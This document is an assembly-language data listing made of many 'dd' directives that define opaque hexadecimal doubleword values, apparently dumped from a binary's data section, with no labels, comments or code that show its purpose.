dd 4077B07Dh, 0CD6E8303h, 98285147h, 0C204E7C1h, 0BB1CE68Eh
dd 0C4626DE0h, 680419BBh, 1AB827C9h, 0DE2642C9h, 8312A058h
dd 0A6B03146h, 151452BAh, 0B8775416h, 4D84E517h, 0DF195BC7h
dd 0E915F0B6h, 1A754E4h, 0E25F4E3h, 0C0DAC151h, 0C07D0B47h
dd 6082EB5Fh, 0BF0877h, 0D803C35Ah, 0A9FC9712h, 0FFA00820h
dd 88093660h, 0DDF767h, 0E93E2AD6h, 6558BF70h, 500E04Bh
dd 0D76157B9h, 6BD1FCF4h, 0BD5F1BCh, 0D92DFEE9h, 40A32BEAh
dd 0C0CC0B93h, 50012F90h, 32720h, 80DF2E3Ah, 0A3E9DE31h
dd 73EA31BAh, 0AE59334Eh
dd 0C8202812h, 3731B28Ah, 6073108Fh, 386E61BFh, 1352F75Ch
dd 67EE3A6Dh, 3F11A26Fh, 0C0E6F955h, 47195DA2h, 94BAE975h
dd 4BD75BB5h, 0DB98D5Fh, 9496B028h, 4A2B80DAh, 5913EC88h
dd 0FBECAB68h, 6FE2DFDEh, 4F9F27D8h, 0B569272h, 0CD6B6FE3h
dd 0B252F217h, 7840A53h, 0C243B2EBh, 0D6022AE9h, 0CCC6AD80h
dd 418E02BFh, 665A0064h, 4850262Dh, 6B4F37AFh, 531F01ADh
dd 5AB98651h, 0CB121404h, 0E1C4F2E9h, 0A5CA4AEh, 2768F640h
dd 0C7185D9Fh, 8880A856h, 388ECCFDh, 3E5EEC29h, 7EAC6631h
dd 51804772h, 8801F3B9h, 17BC2E4Ah, 0BD388050h, 0DECBC3D6h
dd 945E2FA7h, 4BEAEBC4h, 4157ED50h, 0F97B5C70h, 32498633h
dd 16F1B726h, 981D3B66h, 0FAEAB738h, 0D4CBE774h, 0B850810Bh
dd 30F960BEh, 80F3C6A9h, 8A7BF734h, 9609E925h, 0F6B801C3h
dd 2E45F57Ch, 0E90B8DA7h, 6D2617Ah, 3265A97h, 529D2D5Bh
dd 0AADC1FCCh, 0FA4B1AECh, 0E4123ACBh, 0D264AA31h, 533474F0h
dd 2578B460h, 6E710ADDh, 9B1D0880h, 1798BD13h, 0BC302206h
dd 0A5804E73h, 7E7748C5h, 770997D4h, 0B106477h, 0CD1FE950h
dd 895F2729h, 0B42DFFDh, 0A03826D4h, 94BB5E55h, 91F8EA8Ah
dd 941C5734h, 0AE29BA2Dh, 1305DC6Ah, 0D5028997h, 628049DBh
dd 0E9655348h, 23C96D8h, 1068F031h, 9D354675h, 134F6476h
dd 3B512DBAh, 0E982ABF2h, 1975AD85h, 0CB50D5DCh, 60E5C15Dh
dd 0ED810705h, 643D13FCh, 31FE0062h, 0B8E91DC9h, 7CDB9535h
dd 7C179BBDh, 58D0F844h, 296637D1h, 46627CCBh, 2D93C5D0h
dd 201CDF57h, 45E95F09h, 9580E689h, 7FBFEB91h, 276B08F5h
dd 0AF332513h, 7BF57361h, 0F8822954h, 0FC14DF6Fh, 0F85A3190h
dd 542C59C1h, 0B6E488C9h, 63D19F33h, 5993E2h, 633B6EBEh
dd 5866648h, 0B1B6924Dh, 312F09AAh, 4DF42609h, 5467E942h
dd 0A6CA21A9h, 6230045h, 8CE96DD1h, 89CF8BBFh, 2873F54Fh
dd 480C8668h, 5A68F14Eh, 0E46BA802h, 60C20284h, 8B3A59ECh
dd 95C454D0h, 8D685702h, 90678E2Bh, 82EFD895h, 0DD3B6B55h
dd 0A63074F1h, 32030F83h, 56943175h, 170111DEh, 0CCFE8968h
dd 0D6188559h, 1E268AB1h, 69592F45h, 321D2474h, 563E1AE5h
dd 14FA8CA8h, 735D2E4Dh, 594B8423h, 7885E6BEh, 0B6FFFCD2h
dd 935B0FAFh, 6FDA0E92h, 0D0466D05h, 0B36FC2C9h, 9AE9A3BFh
dd 0C3D65543h, 9792F650h, 2CF98120h, 0BA070B23h, 29FA5A28h
dd 95EF210h, 0A083F0D7h, 9E2EE9A8h, 0AE5F12FBh, 0D5EFC774h
dd 0EB5E8084h, 4704356Bh, 3E636823h, 37C998A8h, 7AECFD8h
dd 0C9F1810Fh, 77324957h, 4464A780h, 0F771874Fh, 1646D64Ch
dd 0A33089D2h, 2E7A08B9h, 13213554h, 5ECF0B41h, 772A2A73h
dd 84943A7Ch, 55175383h, 7CB4DA5Bh, 2DA028E6h, 4F5215Ah
dd 290BEBA1h, 0D9FE805Fh, 0FA739E26h, 0B8804B8Ah, 6F139ED7h
dd 8E6FE1E1h, 0E953050Ah, 16CF7C69h, 1A20FE76h, 503C0D3Fh
dd 3E08D288h, 6BEF0798h, 51285AD6h, 7D0B8956h, 8239F422h
dd 83327Ah, 0E6085DB4h, 97BC6662h, 111CDD51h, 5540A6B0h
dd 3C13DCBAh, 0D391257Bh, 9DB6ECDFh, 2A0A87C1h, 663219CFh
dd 0A5F551D1h, 9AA8D92Dh, 0A075B616h, 0D667F662h, 0EB82530Ah
dd 34F0779Ah, 8CB5AEAh, 0EAA4DAAAh, 6CB40250h, 3AB75366h
dd 0B353E1h, 1EAEE581h, 0CB71613Ch, 94F4CFBDh, 0F510DD69h
dd 1BCAEA34h, 571CE0E8h, 4A657F25h, 75A3E9E2h, 59A5B3E8h
dd 0FA61632Ch, 0A20740E2h, 0B2E05A2h, 92384F56h, 8CBEEE28h
dd 3953074h, 76C574AFh, 2E590BC5h, 28FD1634h, 4228081Bh
dd 25EBE820h, 57FE6768h, 55E6BAC2h, 7F6BDA76h, 2DC15690h
dd 44CA71B7h, 5EFDFC99h, 34D677BEh, 1988BEE0h, 4E882D68h
dd 82A84C19h, 0FE8FB145h, 0AA7E7DC9h, 0E1CCB81Ch, 5CD60C3Bh
dd 0E91F1F28h, 0C07E3006h, 0E2A003E3h, 0DC7D88D3h, 6845822Dh
dd 0E804635Ch, 4640312Dh, 90254108h, 0D11287F0h, 2CBBA8EFh
dd 0CFE29076h, 0F57CA949h, 163FAF71h, 244474EEh, 4BAC207Fh
dd 0B85E3D16h, 6A80E482h, 4F67629Ah, 0E2A6F837h, 0AD527701h
dd 7A6CE924h, 2FE74ADh, 5D6B7460h, 0A5F148DFh, 0C4FD825Ah
dd 634A0921h, 75F444F2h, 0F158A24Bh, 3A54062Ch, 9A40DA4Ah
dd 0CEB46EF5h, 3D295991h, 5C0656CFh, 0ED4ACB49h, 0D60A1EEAh
dd 6B89F1E0h, 103BBA3h, 203081D0h, 583E519Fh, 5C5CA5Ah
dd 0C98EE98Ah, 0A3F782BDh, 5F6AB57Eh, 2A0F9DF8h, 0C03D5621h
dd 655E80C7h, 18E91614h, 8C12F34Fh, 165B845Ch, 0FB3DD043h
dd 9049D2C1h, 9A33317Fh, 71EF2B9Dh, 8715AA3Dh, 51C5884Ah
dd 7D274C82h, 58F08CC4h, 0FBB32C4Ah, 67156809h, 37858830h
dd 0F608AC99h, 3FD2D3Fh, 8434DB56h, 0C22DC330h, 0B8417B24h
dd 4E3AF90Eh, 4AE1C14Fh, 832A4046h, 1E040409h, 508642F2h
dd 436ED581h, 4801F330h, 0D320C1CFh, 0D0F6591Ch, 0D696D89Eh
dd 68521A40h, 955F60F0h, 0CD05007Dh, 0C9AF2FE7h, 0F0C94ECCh
dd 14A7C42Ah, 0C3001990h, 9192F541h, 0C55B5953h, 5F4B23CAh
dd 30D7C3D0h, 0C077B29h, 1BD811BAh, 0BB0243F5h, 85F067D4h
dd 9AD2A69Dh, 0BF43C1h, 8F43522Ch, 0E9DF3101h, 949C1071h
dd 3356C560h, 0E8091766h, 0D42C145Dh, 5E123520h, 64B34429h
dd 80B8D55Eh, 0A04638ECh, 73686F08h, 1BC42C23h, 0BB0B19Ah
dd 65606612h, 0FCCEAC0Ch, 0B989743Dh, 70AE0BC1h, 190294Eh
dd 0D7F70DC4h, 882C4383h, 904F5B63h, 30E93DD8h, 687573A5h
dd 71B00B79h, 0EA214BB8h, 0A6A701C0h, 0FC126E2Fh, 3E562CC2h
dd 8A0785Ch, 36FCE682h, 9B47C581h, 0EC6CAC12h, 0C2908334h
dd 55297F29h, 3501924h, 859CF380h, 0DE3AF2FFh, 77134EE4h
dd 8691A061h, 0EBEE6D93h, 3D5B6D83h, 0CE0E02C4h, 282C22CFh
dd 6602CB20h, 62E97DFEh, 0B1C77D3Ah, 174396ACh, 0BE25037Ch
dd 47C93AC4h, 1BE950B3h, 47497ABBh, 0E2C95DEBh, 0F1857F11h
dd 0B9ACEEEh, 7FDF5CE9h, 0ACB04B64h, 11306127h, 6F20505Ah
dd 0A417161Eh, 0F7996118h, 738220DAh, 8FB1ECA4h, 1FB6488h
dd 0D257C168h, 86B07F0Bh, 5BD9002h, 0F641F0F7h, 4E11249h
dd 0AE632470h, 0DE06ABF9h, 0C79BD15h, 0AD57081Fh, 7EC55027h
dd 2FFABAE2h, 0BE755BDFh, 3271BF95h, 752DAA20h, 0E4E627Ch
dd 0BC6BA407h, 0E4D3A8AAh, 0D18021BEh, 579BBD8h, 6902685Dh
dd 160F65EEh, 0AA1D5A71h, 5C9AE140h, 0D6E8B996h, 7372EF0Ch
dd 6AC70AE3h, 1DDB6809h, 2801897Fh, 7B9DA350h, 0BBC1134Fh
dd 0E82FC33Dh, 4ADBC0DCh, 37E96D5Ch, 0A0201AEDh, 73984571h
dd 0E139E095h, 0C1129D2Bh, 0C5050EDDh, 0F5C14A84h, 378218E7h
dd 35F32DA7h, 739558F5h, 1673EA40h, 185AD721h, 652B3C1Bh
dd 0E3D54450h, 3449EA1Eh, 1675CC30h, 430E4D43h, 2C50422Dh
dd 780174BDh, 5D817B9Eh, 0EA30983Bh, 6E796201h, 632B687Ch
dd 66066636h, 8854C676h, 4CB1D001h, 50D5E928h, 0D0A76Ah
dd 0E5C0A9B5h, 0EDD003h, 6640C580h, 0FFB65253h, 0D94DBEB0h
dd 7E21EA3h, 10F0781Fh, 9FF8215Bh, 5F726174h, 592F8D53h
dd 0F354AFDAh, 0F408E870h, 12F8F8C8h, 0CCA6A1E9h, 0E09624FBh
dd 26ABF5AFh, 0C8BF7950h, 64015BADh, 0E2EB14D3h, 4750154Dh
dd 7E8A818Ch, 0B4400D4Dh, 5C7B65EFh, 0B1736868h, 825345E5h
dd 5C48F922h, 273B5DBDh, 8229B09Bh, 24A1F181h, 0BAB9D31h
dd 17CB0E8h, 4F56862h
dd 0FD559955h, 0BA3EF9C5h, 28739593h, 0F614FA5h, 0BF8C060Eh
dd 7615771Bh, 88693441h, 8494A9D6h, 3CB991E0h, 3E1A2C02h
dd 0F7032952h, 503801D1h, 516844BCh, 4CE06F5Dh, 245681BEh
dd 7CB091ECh, 230FA6E7h, 407BCE02h, 0F4F5408Ch, 3AB9806Ch
dd 158B082Eh, 0CF35C181h, 0A32E5130h, 2DE90960h, 9782E45Fh
dd 1D2F4680h, 55FE386Dh, 27E8914Ah, 1D34EAB5h, 0E6C92AACh
dd 55B0DBD0h, 7F1B14EEh, 0F8D90DF4h, 50EE134Fh, 9472DA71h
dd 0B4CA81FAh, 2107920Fh, 0FEEFD848h, 5BB0DF5Eh, 8BC21201h
dd 0BF08840Ah, 5B80DFBDh, 5D7EB373h, 1DECFBBDh, 3D05898Ch
dd 420165Fh, 4837DDF6h, 6248215h, 6856A441h, 0E9550B11h
dd 1D90D7D3h, 0CC016B89h, 402E355Ch, 699C4A77h, 0FACB56E9h
dd 1D5095CAh, 0DA51BF5Ch, 0AAD7EA32h, 792A0C8h, 61A2F701h
dd 4BFC0896h, 0CCA5BC7Ah, 1C0BDCDAh, 845D18D5h, 0B7C9E246h
dd 58C019ECh, 244C7C0Bh, 1B68E187h, 1A00E75Bh, 0C1478476h
dd 25027FEFh, 4DDE5158h, 0D049F3C3h, 3B19BE4Ch, 29254574h
dd 307700F5h, 20F160Eh, 24DBF57h, 0D9604BCAh, 522FD9C3h
dd 0E9854007h, 2D2994B4h, 563065F6h, 4BF9408Bh, 345A846h
dd 0A011CB0Dh, 2FA2E28h, 5F6588D7h, 7682803Fh, 8D355E51h
dd 204F3008h, 6D0F2D22h, 25444Ch, 0F58158C5h, 14A467E7h
dd 8AEB0156h, 0AEA54E7Bh, 0FD926527h, 43E6DD86h, 0C4BB5F49h
dd 6805C97Eh, 5424B05Eh, 839689F6h, 7B69A3ADh, 99291326h
dd 0B5A1FC3Ah, 0FA4E07E8h, 16C2A348h, 2ABEF1B2h, 6882C6BDh
dd 0B2576F71h, 0EC73FF1Eh, 572DEBACh, 0F1BDA634h, 679F638Ch
dd 80BB7200h, 684F7564h, 7271BFEEh, 28E95384h, 0BAB0A0h
dd 0A2B4695h, 481DE281h, 0D8EBB951h, 8B160F8Eh, 95434A02h
dd 0DB567CCAh, 83F2F863h, 1D33026h, 0D51FAC0Ch, 18F5645Ah
dd 0AA23942Bh, 32E9CA44h, 9B5DD2A9h, 4AD5C310h, 3A9CD9EAh
dd 700790A0h, 0DCFEB552h, 0E5E94E54h, 5A0CA7C9h, 5AB5F6D5h
dd 0D49FB691h, 887085D9h, 680935E7h, 95593973h, 0DE6C068Bh
dd 1965EF36h, 7FB1DA92h, 1AB39528h, 3D5EFB09h, 0F9FE21h
dd 0E9A7ECFAh, 34D74D49h, 0C6131CEDh, 1D16BE2Bh, 4046F5CCh
dd 3E9851E7h, 0D9579C03h, 9A0B977h, 0D6D8E90Bh, 5A5BA25Ch
dd 0E211FD8Ah, 0F6E90233h, 0AD00EEDCh, 9B22B62Dh, 0F82EEB32h
dd 0FC977A7Fh, 64A7BBE0h, 0B461CCE8h, 3D9AE3D4h, 84DE41EFh
dd 0AD136ABFh, 0DFD11E10h, 41AF9712h, 0F8496CA9h, 0A2102E32h
dd 545B2F07h, 0B82E0858h, 81ABCB3Bh, 3A2DCD0Eh, 9D06C6B0h
dd 6CEB70C8h, 2C4D1205h, 0AC4CB29h, 3759080Fh, 6CB09DF0h
dd 0EFE94B62h, 0D89993FDh, 29D0C8EEh, 7B5ED062h, 0E56800E0h
dd 364F617Ah, 0E9828BEDh, 80A930C7h, 7CB750DDh, 1D20976Eh
dd 72627B98h, 6CDA0925h, 0FBEA5D0Ah, 1871CB02h, 10C34A5Ah
dd 57DA29DBh, 601FA340h, 0C526D763h, 36E3E07Ah, 9D54801h
dd 5DD462Ah, 0C427BFE1h, 9462C035h, 1262A768h, 5453E9A3h
dd 0BF7C2D0Ah, 0BB60B8F8h, 2BC927ACh, 68A33029h, 7C919B5Bh
dd 0F32F711Dh, 0C6859578h, 9F0A6E65h, 841F0182h, 372A8606h
dd 0D50BCCFEh, 0B83EA06Bh, 8B3F9F0Bh, 39DD666h, 311B0DDFh
dd 0B55DF898h, 2D406C0Fh, 828A6BE2h, 20D68138h, 6E2B23EBh
dd 6001715Ah, 9678FA7Eh, 0DF0EF07Fh, 0C3B13565h, 0D2395EBAh
dd 4AF4A898h, 7A10E2B7h, 7E681363h, 8484CAADh, 22A9AF23h
dd 0DBB2EBD2h, 841CBC4Ah, 0E612269Eh, 2BA017EEh, 0E23A85C9h
dd 792D9F38h, 2116AFFh, 2E433944h, 0B300A462h, 2B932475h
dd 238E5060h, 9659D79h, 0E70984B8h, 0EB0F5B04h, 38E86C13h
dd 2B9E09B4h, 0F7EBEFDEh, 5109471Eh, 0A15BE958h, 0F38853D7h
dd 1405D7CAh, 2C68ADBEh, 240CF3F9h, 1EFD158h, 4669BB5Dh
dd 2A293B0Fh, 2E6837DDh, 0F487D59h, 69A11C10h, 3892821Eh
dd 72EC774Ah, 5808FEB5h, 6905F6B8h, 0FEE97253h, 0A05DC8A0h
dd 99EC1548h, 5B014BE5h, 61FD7864h, 4441DBA9h, 8DE13E08h
dd 632CBB3Ah, 35E62FE9h, 974D1C7Dh, 60711A5Fh, 82A3D3A7h
dd 60B716E0h, 978B088h, 0C2881504h, 0EB65D485h, 6B9424E2h
dd 92021C1Fh, 110BAF0Fh, 514B2976h, 128D36EBh, 759D02ECh
dd 0D69185A2h, 5537CF82h, 0B1D844D5h, 25010B32h, 51C550D6h
dd 0D4A1951Ah, 0FF51723Ah, 48ECE985h, 0A9BFCE64h, 8CAFB470h
dd 0E9715086h, 69B31B4Fh, 622DAFD3h, 680CBA79h, 14836D42h
dd 60EEAB5Eh, 23C380F9h, 3A1156BFh, 6C33E9B8h, 6AB9CBEBh
dd 0E5983AA6h, 3A3245D3h, 0D4E266ACh, 0B905E958h, 47C0308Ah
dd 0E150A0BAh, 0B413513Ah, 0C81F1227h, 0E5DCFA00h, 48CE3190h
dd 0E3270159h, 567C6EEEh, 0C2FF530h, 48BA442Dh, 9A1017BCh
dd 0D9881627h, 0B3101FA6h, 20BD0356h, 0D27B1C04h, 72A58F7h
dd 4D1E55BEh, 7FADA326h, 66FF1450h, 0F840CE41h, 25D52D01h
dd 0E0D57133h, 5D0AE9B5h, 0AB84287Bh, 9C680299h, 94E3F470h
dd 69075F3Ch, 0B506863Dh, 257AE835h, 0E227DFBAh, 60EBC2D3h
dd 29D2E5B1h, 0ADFC3493h, 0A4506DBDh, 7DB880F3h, 49F6CD26h
dd 6B416F09h, 0D924BF52h, 5D306CA9h, 58F72D06h, 474F932Ch
dd 0DD57E50Ah, 3042DE6Eh, 5C692C7Fh, 0E3F198D8h, 0E3FED7F7h
dd 8F604D5Fh, 2381915h, 0E6ECBB09h, 0F8F5F6C7h, 90CECDDh
dd 294F4113h, 820DEFCh, 0B59D96B7h, 0F25F2C6h, 27D5C6F3h
dd 79462F5Ch, 206962F2h, 4EAF7512h, 3004471Bh, 4184027Ah
dd 9A6BDAAh, 9C5E5A56h, 5B4A4C37h, 95493905h, 0B05DC443h
dd 9CB04018h, 165447E2h, 0B90551F6h, 485D2362h, 0FCE755C2h
dd 6E1762B3h, 2A0D6009h, 0DDFE860Ch, 0CBB45D4Eh, 2713EAEFh
dd 0CFD92047h, 0B0FB360h, 3BCBFC12h, 2C7C505Bh, 0A599BAE9h
dd 4E2070F8h, 20FFB88Eh, 8BB73F7Dh, 20EDDAF0h, 0D12D521Fh
dd 92CDD4E2h, 0BD8D40CDh, 416821E3h, 97078E98h, 2974632Fh
dd 8ED086Bh, 38445D17h, 0FA1759B5h, 0F0EA2B32h, 0ED149510h
dd 0EF9675FCh, 0A515DF27h, 0D6E48085h, 4AE63C4h, 0F46C479h
dd 0A9F4A406h, 28B241C0h, 0EB4B98E3h, 5FAB612Bh, 0BF889F7Dh
dd 771F4BC5h, 95BAD0AFh, 5676E650h, 6C18F3F2h, 0C00C1624h
dd 3C382806h, 582C00C4h, 0FD29D11Fh, 0D84E9CE9h, 91D352C8h
dd 1F2D0BBBh, 8F2C6146h, 40528550h, 80B54D3Ch, 91522BBh
dd 1AA02E6Dh, 6041BD0Dh, 2F215B89h, 33D65EF2h, 0D620DF2Fh
dd 8C9375E4h, 4B7592A2h, 0E20C5E8Dh, 0C7C5102Eh, 1675A65Ah
dd 31A2C330h, 0E96C6887h, 62897D51h, 6C15D4F2h, 395CD252h
dd 78C2818Ch, 66AD55Fh, 2FC04A05h, 0DF44682Eh, 0D4293BDh
dd 689438FEh, 9494609h, 711CFD1Fh, 0F70BE109h, 55EAFFACh
dd 9A799902h, 68073077h, 884A496Eh, 2F6F5B81h, 0C3B03E61h
dd 38F996C3h, 5EC11B4Ch, 311FD256h, 5482132h, 1CA1FC08h
dd 0EBBEFB31h, 7640208h, 68AD009Bh, 36AB1082h, 3E0F34C0h
dd 1525FB98h, 46EC77FDh, 0A15DB72Dh, 0D0095EDAh, 8270FF70h
dd 0E25FF989h, 7E9C7D17h, 25D6801h, 505F48CEh, 797D6C81h
dd 6B09582Ah, 23F8B4h, 570D4CA2h, 68535F59h, 0A740AC09h
dd 0DF4Bh, 3E021370h, 0FAEED390h, 0BB7C22Fh, 1E207DFBh
dd 53CC94D3h, 0B63F2941h, 579A12FEh, 0A4495D8Ch, 28EA05E7h
dd 0ED8EFBCFh, 24AA101Bh, 6AE72D00h, 7F057CEEh, 22033874h
dd 3704360Dh, 0FD0AF80Bh
dd 318235A2h, 0A90F9C4h, 9A2565A5h, 723E3409h, 3D5C713Ch
dd 69702CEh, 0E1B74EE4h, 9DF80ED6h, 0E54B6F07h, 5324FEF2h
dd 0F7FB980h, 81613E67h, 9D482A05h, 0AF13AA7Bh, 0F55BE0h
dd 0B536B110h, 5BE9EB31h, 8409462h, 1F867CBh, 0A8B35350h
dd 62B82F88h, 96A9E9C2h, 0F708325Fh, 0F760D132h, 659DE36Ah
dd 74300BA1h, 0FE4A5730h, 0D046DF82h, 1794A5F6h, 54E90517h
dd 0A0DDF04Ah, 2810C64Dh, 484E80FEh, 471662E3h, 0F1EED01Dh
dd 954E35C3h, 0E8A0FD80h, 0AFA14EC8h, 89259CCBh, 4FF00EECh
dd 209685B9h, 0BF5F21A0h, 0BA60B059h, 4B570199h, 7A0EB113h
dd 9B828258h, 734725E8h, 0F6DD6FC1h, 0C50ED9FFh, 5F8FC27Dh
dd 52F85D04h, 8DE152CFh, 3A70F280h, 0CA3807BFh, 9FEA93B3h
dd 70B0620h, 5AD788CCh, 0F7C13FF6h, 5CE7860Eh, 0E20D8836h
dd 0EF65266h, 0F5535AD4h, 5B280E3Ah, 400536FBh, 5EFC07Fh
dd 5FA39CA4h, 0B315401Ah, 317C2464h, 37FC94B8h, 801671B2h
dd 401645ECh, 68D545AEh, 65B4EB24h, 7CDA70B5h, 0AA5948EBh
dd 5D8AC45h, 382C384Ah, 0D32DF350h, 0B073A80Fh, 0E15A72E9h
dd 7838EB3Eh, 8B1B67EDh, 0CD665EF5h, 2F190CEFh, 0C676EB30h
dd 6FBAB13Ah, 0BB976AE6h, 0E7308Dh, 6B8DBF53h, 0E7814370h
dd 0D6508516h, 0A00BF6ACh, 4100E92Dh, 106390C7h, 0D72F2F7Bh
dd 0EE270297h, 0BB5B053Bh, 0CF04D5B2h, 0FE0E7F9Eh, 0A5623109h
dd 8F172CEFh, 480DE59Ch, 9A81921Dh, 301BC650h, 52F00E45h
dd 21EF954Bh, 743AE9F2h, 0A21FBAA0h, 0C02779CBh, 0FEC729B8h
dd 81CD5D44h, 0F35EF317h, 0F0311CB4h, 0F8E9C68Ah, 896BEF26h
dd 6DB046Eh, 304E4EE6h, 5BDF0126h, 396D595h, 4648502Dh
dd 82E835AAh, 0F6991285h, 4243255Ch, 0FAB4D882h, 2BC8003Ch
dd 0B6B79D05h, 0C224E9F2h, 92C4FB6Bh, 2568E2A0h, 13E61F89h
dd 0D6679627h, 2A7A62D5h, 4141ADDEh, 0C33A258Dh, 1BD62B2Dh
dd 5C4F4EECh, 3B24D791h, 3F3F32Fh, 4F29F2C2h, 222A10B3h
dd 0C9067C43h, 1A1E324Dh, 2656FC0Ch, 1C3D2A1Fh, 2B6A0E8Ah
dd 0A4A093BFh, 0DC14803Dh, 5BE3662Ch, 0E90A04FEh, 0BE5DA0D1h
dd 7ACE024Ah, 46207A48h, 8B0DF4BFh, 33561A73h, 42D1062h
dd 27D8EF88h, 61FD7230h, 0DFF608EFh, 5366E086h, 0EE9500Bh
dd 0E952D4A0h, 2D23BDDh, 0A0B0504Ah, 0F04041B3h, 51F26658h
dd 0B41DB102h, 491BE937h, 0B9D354CFh, 0A5481820h, 405041C6h
dd 317ED699h, 47C2705Fh, 2D1C7469h, 918CBA5Fh, 0F582A918h
dd 37E76840h, 5B48A455h, 1B62FA16h, 29C7E83Ah, 0E67B0CAh
dd 0F17BEFE2h, 768FBC5Dh, 0E492F333h, 39055DB9h, 0FCE90754h
dd 0AF4B09FCh, 3CED1F38h, 15AB566Fh, 506C25C8h, 185EF52Dh
dd 5BCCE968h, 0E170240Fh, 6E29ED70h, 0D7EB1440h, 0B476DA5Dh
dd 2D82C4Dh, 67BA0D16h, 0FAC6407Fh, 5F843B2Bh, 0AF77E98Bh
dd 0D568B5B1h, 0C55D281Dh, 16A3E56Ah, 0F83405D2h, 0FFB3AFF6h
dd 0E9A0E8D4h, 3DC3247Dh, 9F57BA66h, 7E6835A2h, 4208CE21h
dd 0F2127828h, 15E4EA7Dh, 20B50BF1h, 3AD8057Bh, 22EA620h
dd 0D1BE3BBh, 0C9FC4B3Ch, 0F82A144Dh, 0F94B527h, 2C13DBE6h
dd 0EE8EAF7Dh, 0FE4BC343h, 0DBA8B5D5h, 1A4099ACh, 3D3A2EBBh
dd 174B13BFh, 6991FA11h, 6806BF38h, 3AFC015Bh, 0EA00AD58h
dd 4D23760Dh, 81FB90E9h, 3D55C563h, 530132Dh, 0F94CBD12h
dd 5C12A15Bh, 2EA64DF8h, 5D274A96h, 6814C514h, 0CAFC70EFh
dd 0FF72F854h, 0FF81B3CCh, 0BE032AE1h, 0F23C2CACh, 11405DD4h
dd 0D7952114h, 793A91A0h, 0BA0568FAh, 752937A7h, 0B04B12FEh
dd 0F0E68178h, 148F1D1Fh, 0E97BD019h, 44AD9FF1h, 489FE814h
dd 9458527Dh, 0E42D6006h, 0F34B366Ah, 0C80031B1h, 48EBC03Ch
dd 0E26FAFFh, 8921CFBDh, 0F8C261CDh, 0C6BD1BF6h, 5A34B087h
dd 0B220FFA5h, 0B6C053B0h, 34010726h, 0C5E627ADh, 0B67EC0DBh
dd 0F05C28DAh, 0EE800E7Fh, 0FDC66738h, 2FBD730Eh, 0EB2AEC16h
dd 9DC41CC0h, 58E63328h, 51A03828h, 7D90F588h, 0D109A242h
dd 0E9768D12h, 2B13A5A0h, 2A1F87F7h, 4C5E12FDh, 0D41ABE56h
dd 0AF567CEEh, 0EB9D41E0h, 86C3DC9Eh, 0F55F0217h, 7C43980h
dd 51004ED0h, 2C32E5B9h, 60C7E944h, 0F8F12996h, 0CA4CABF5h
dd 7C1C2DACh, 0D955E9C2h, 6BDC4BE3h, 0F73FDAC2h, 6884F3F9h
dd 33D918D1h, 4BBBAF05h, 47400278h, 3607E3Dh, 0AC07160Ch
dd 64E92FAFh, 38571562h, 88BD7E6Ch, 991464C5h, 6A1DCBFh
dd 73E1434Ch, 7901A0Ch, 88F7F005h, 0C3408D4h, 55D1409h
dd 0FA985785h, 0B075D7BDh, 33168E3Fh, 4D093A28h, 7E327513h
dd 0AF77E5D5h, 5B9044A1h, 0EDEA70A8h, 0EA085218h, 95D8975Ch
dd 7DAB32F7h, 0D5A52E76h, 0E80BAD30h, 0B5FFE7D2h, 9DA27B91h
dd 0B80F8EF6h, 339437DDh, 28356BB0h, 17C24F7Ch, 0EC1F61E9h
dd 6280C4A4h, 1497F418h, 2D0D3C0Dh, 0B46B0B95h, 0D767391Eh
dd 79645E92h, 5E3037E0h, 51BF38E8h, 0D202E912h, 2B5DE5ABh
dd 433A48EEh, 6A172D01h, 44E82CA1h, 1A3BBA6Fh, 555859EAh
dd 22264961h, 0A659CF34h, 951A232Dh, 0CB522DDh, 8C830918h
dd 59AB607h, 893A297Dh, 0B7B2AEh, 550A95CDh, 90297F34h
dd 71088226h, 407C2FACh, 5596978h, 93686045h, 20A7F90Bh
dd 7D0EB048h, 42E42657h, 3C8B6233h, 5D5A3AFCh, 0A585BF16h
dd 7A03E909h, 4AA590FEh, 0E97D175Eh, 0A8C180CCh, 92205109h
dd 844E57Ah, 2F3E29AEh, 0BAA4BCACh, 73E9899Ch, 1FBE80EBh
dd 23723A15h, 0C54C73A4h, 25FC0E21h, 1049ABF6h, 2EE01BD7h
dd 16888D7Bh, 0C72CBC40h, 54D2AFEEh, 9DFBD75Ch, 1F0E984h
dd 0FB3C38Ch, 0DE885221h, 0A6401FABh, 2E7838B8h, 6AC5F9FFh
dd 4A8FA3B0h, 54D02287h, 4E256744h, 9CEDC895h, 45BD356h
dd 13F3C9BFh, 0D277E2BFh, 2AC2F5EBh, 1BE8BC4h, 0D5498BA5h
dd 0D1BE2025h, 5AAA41B7h, 73B69520h, 2D080063h, 47361298h
dd 1E6952E9h, 2F00D762h, 1AE1B8C8h, 41DD297h, 0B94F26CDh
dd 3A38807Eh, 2213A36Eh, 4D00E5C1h, 8FA551EDh, 0F71EC192h
dd 3069A27Eh, 94BDDD4Ah, 978180C0h, 83F7B61Dh, 4F1A014Eh
dd 0C4E9CE9Bh, 0D7D07F63h, 7B5B0EA2h, 127C4A40h, 4BFBA27Ah
dd 8000E45Fh, 0B551BEF3h, 70F5ECCEh, 59EB013Ch, 0FE7DB252h
dd 0A5F2ECC2h, 3EAC018h, 0B518E910h, 8900A46Ah, 0DF214D6Bh
dd 4994799Fh, 0AD66CF7h, 686F1B11h, 0E790292h, 0FE606526h
dd 0F27198Ah, 61E2D77Dh, 835E0805h, 3C000316h, 3E646A5Bh
dd 9685346h, 494F7644h, 0D88A09DDh, 9D809B1h, 3B032ED3h
dd 0CDA0F72h, 0BA7E47Dh, 710EA0D7h, 51684DDh, 0C30349BDh
dd 0E6D09224h, 4F23EAB0h, 1320A09h, 67165FDAh, 62F5108Ah
dd 80C6B23Ah, 6254148Eh, 3CC49067h, 32373917h, 6024500Ch
dd 0EC14948h, 8894C621h, 4583E02Ah, 544545Eh, 0FE4551B1h
dd 7A6AE5F9h, 0CCB60F85h, 14139310h, 0D252C768h, 0D68F2031h
dd 32A32589h, 0A809979h, 0E976E35Dh, 34849D6Fh, 4525AB5Ah
dd 8433E2EAh, 239458E9h, 7E99A7AFh, 0E5B3F82Dh, 0B85F1622h
dd 2A74B2Ch, 0C691FB93h, 6187C183h, 39B63B4Eh, 19562F80h
dd 0B0BF6132h, 2D66BD5Ch, 63593C55h, 95B5E60h, 0E91C0877h
dd 290C4CE1h, 0BF5292F8h, 0BBEDF098h, 4828BD80h, 2D7A0F6Ah
dd 297257B1h, 0D15456EEh, 764DBDA2h, 80128157h, 786CD2E3h
dd 88529D04h, 2DC1FEDAh
dd 0C0D0F65Bh, 0A0561E8h, 0E0FEAD2Ch, 302B6F34h, 0B528E6C3h
